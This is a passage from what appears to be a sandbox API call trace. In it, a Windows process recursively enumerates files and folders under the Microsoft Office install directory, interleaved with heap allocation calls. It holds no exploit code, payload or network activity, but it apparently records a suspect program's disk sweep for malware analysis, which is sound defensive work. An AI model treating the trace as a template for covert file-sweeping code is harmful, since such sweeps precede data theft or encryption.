cAlternateFileName="")) returned 1 [0283.859] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23382990, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x23382990, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x233a8be5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ccde, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAVBARV.POC", cAlternateFileName="")) returned 1 [0283.859] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2303b5cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2303b5cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x230ade29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAVBRPH1.POC", cAlternateFileName="")) returned 1 [0283.859] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2303b5cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2303b5cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2303b5cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x396, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAVBRPH2.POC", cAlternateFileName="")) returned 1 [0283.859] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23382990, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x23382990, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x233a8be5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9965a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NEWS.DPV", cAlternateFileName="")) returned 1 [0283.859] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2335c7ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2335c7ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2335c7ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4260, dwReserved0=0x0, dwReserved1=0x0, cFileName="NEWS.XML", cAlternateFileName="")) returned 1 [0283.859] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23205288, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x23205288, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2335c7ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87d24, dwReserved0=0x0, dwReserved1=0x0, cFileName="NEWS11.POC", cAlternateFileName="")) returned 1 [0283.859] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23336629, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x23336629, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x23467797, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2dc320, dwReserved0=0x0, dwReserved1=0x0, cFileName="NEWS98.POC", cAlternateFileName="")) returned 1 [0283.859] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23382990, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x23382990, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5166c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NEWSHM.POC", cAlternateFileName="")) returned 1 [0283.859] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x241382dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x241382dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x241382dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x82e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORIG98.POC", cAlternateFileName="")) returned 1 [0283.860] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x233a8be5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x233a8be5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x233cee41, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eba, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICCAP98.POC", cAlternateFileName="")) returned 1 [0283.860] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x237626b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x237626b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2378891a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICSTYLES.DPV", cAlternateFileName="PICSTY~1.DPV")) returned 1 [0283.860] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23441541, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x23441541, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x23467797, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTPH.POC", cAlternateFileName="")) returned 1 [0283.860] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23716220, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x23716220, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2373c469, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1722, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNCTUATE.POC", cAlternateFileName="")) returned 1 [0283.860] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x233cee41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x233cee41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x233cee41, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb9b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POST98SP.POC", cAlternateFileName="")) returned 1 [0283.974] GetProcessHeap () returned 0xaf0000 [0283.975] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.975] GetProcessHeap () returned 0xaf0000 [0283.975] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\QUERIES\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.975] GetProcessHeap () returned 0xaf0000 [0283.976] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.976] GetProcessHeap () returned 0xaf0000 [0283.976] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\SAMPLES\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.976] GetProcessHeap () returned 0xaf0000 [0283.976] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.977] GetProcessHeap () returned 0xaf0000 [0283.977] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.977] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\STARTUP\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.977] GetProcessHeap () returned 0xaf0000 [0283.977] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.978] GetProcessHeap () returned 0xaf0000 [0283.978] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0xa326fd, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xa326fd, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.978] GetProcessHeap () returned 0xaf0000 [0283.979] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.979] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0284.033] GetProcessHeap () returned 0xaf0000 [0284.111] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0284.116] GetProcessHeap () returned 0xaf0000 [0284.116] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0284.118] GetProcessHeap () returned 0xaf0000 [0284.118] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0284.118] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\XLSTART\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0284.119] GetProcessHeap () returned 0xaf0000 [0284.119] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0284.119] GetProcessHeap () returned 0xaf0000 [0284.119] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0284.120] GetProcessHeap () returned 0xaf0000 [0284.120] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0284.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\rsod\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0284.124] GetProcessHeap () returned 0xaf0000 [0284.124] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0284.124] GetProcessHeap () returned 0xaf0000 [0284.124] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0284.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Stationery\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0284.125] GetProcessHeap () returned 0xaf0000 [0284.125] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0284.125] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0284.128] GetProcessHeap () returned 0xaf0000 [0284.128] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0284.128] GetProcessHeap () returned 0xaf0000 [0284.128] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0284.129] GetProcessHeap () returned 0xaf0000 [0284.129] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0284.130] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0284.130] GetProcessHeap () returned 0xaf0000 [0284.130] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0284.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb571036, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0284.131] GetProcessHeap () returned 0xaf0000 [0284.131] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0284.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0284.132] GetProcessHeap () returned 0xaf0000 [0284.132] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0284.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0284.135] GetProcessHeap () returned 0xaf0000 [0284.136] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0284.136] GetProcessHeap () returned 0xaf0000 [0284.136] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0284.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0284.139] GetProcessHeap () returned 0xaf0000 [0284.139] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0284.139] GetProcessHeap () returned 0xaf0000 [0284.139] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0284.140] GetProcessHeap () returned 0xaf0000 [0284.140] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0284.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\GettingStarted16\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e332373, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e332373, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e332373, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0284.141] GetProcessHeap () returned 0xaf0000 [0284.141] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0284.141] GetProcessHeap () returned 0xaf0000 [0284.141] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0284.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0284.142] GetProcessHeap () returned 0xaf0000 [0284.142] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0284.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0284.143] GetProcessHeap () returned 0xaf0000 [0284.143] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0284.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0284.144] GetProcessHeap () returned 0xaf0000 [0284.144] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0284.144] GetProcessHeap () returned 0xaf0000 [0284.144] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0284.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0284.145] GetProcessHeap () returned 0xaf0000 [0284.145] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0284.145] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0 [0284.145] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0284.145] GetProcessHeap () returned 0xaf0000 [0284.145] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0284.147] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, 